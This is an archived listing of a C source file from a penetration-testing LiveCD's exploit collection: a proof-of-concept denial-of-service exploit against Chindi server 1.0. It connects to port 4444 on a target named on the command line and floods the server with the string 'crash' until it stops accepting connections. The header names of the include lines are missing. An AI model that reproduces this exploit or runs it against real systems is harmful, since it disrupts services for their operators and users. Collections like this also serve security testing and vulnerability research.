home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / chindi / chindi-dos-poc.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  83 lines

  1. Exploit code:
  2. /************************************************************
  3. * Chindi server 1.0  Denial of Service
  4. * Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it
  5. * After DoS, server appears to be up, but will not allow
  6. * new connections.                                               *
  7. *************************************************************/
  8.  
  9. #include 
  10. #include 
  11. #include 
  12. #include 
  13. #include 
  14.  
  15.  
  16. #define PORT    4444
  17. #define DOS     "crash"
  18.  
  19.  
  20. int main(int argc, char *argv[]){
  21.  
  22.  
  23. int nOpt,count,sockfd;
  24. struct hostent *he;
  25. struct sockaddr_in server_addr;
  26.  
  27. char *host;
  28.  
  29.  
  30. printf ("\nChindi server 1.0 remote DoS\n\n");
  31.  
  32.  
  33. if(argc < 2 ) {
  34.                 printf ("Usage: %s -t target\n",argv[0]);
  35.                 exit(0);
  36.         }
  37.  
  38.  
  39. while((nOpt = getopt(argc, argv, "t")) != -1) {
  40.  
  41.         switch(nOpt) {
  42.                         case 't':
  43.                         host = optarg;
  44.                         break;
  45.                         default:exit(0);
  46.                 }
  47.         }
  48.  
  49.  
  50. if ((he = gethostbyname(argv[2])) == NULL)
  51.           {
  52.                   herror("gethostbyname");
  53.                   exit(1);
  54.           }
  55.  
  56.  
  57. server_addr.sin_family = AF_INET;
  58. server_addr.sin_port = htons(PORT);
  59. server_addr.sin_addr = *((struct in_addr *) he->h_addr);
  60.  
  61.  
  62. sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  63.  
  64.  
  65. if (connect (sockfd, (struct sockaddr *) &server_addr,sizeof(struct 
  66. sockaddr)) == -1)
  67.           {
  68.                   perror("Connect");
  69.                   exit(1);
  70.           }
  71.  
  72.  
  73. printf("1. Connected\n");
  74. sleep(1);
  75. printf("2. Sending crash string\n");
  76. sleep(1);
  77. printf("3. Verifing server status: ");
  78. sleep(1);
  79.  
  80. for (count=0; count<9999; count++) send(sockfd,DOS,strlen(DOS),0);
  81.  
  82. close(sockfd);
  83.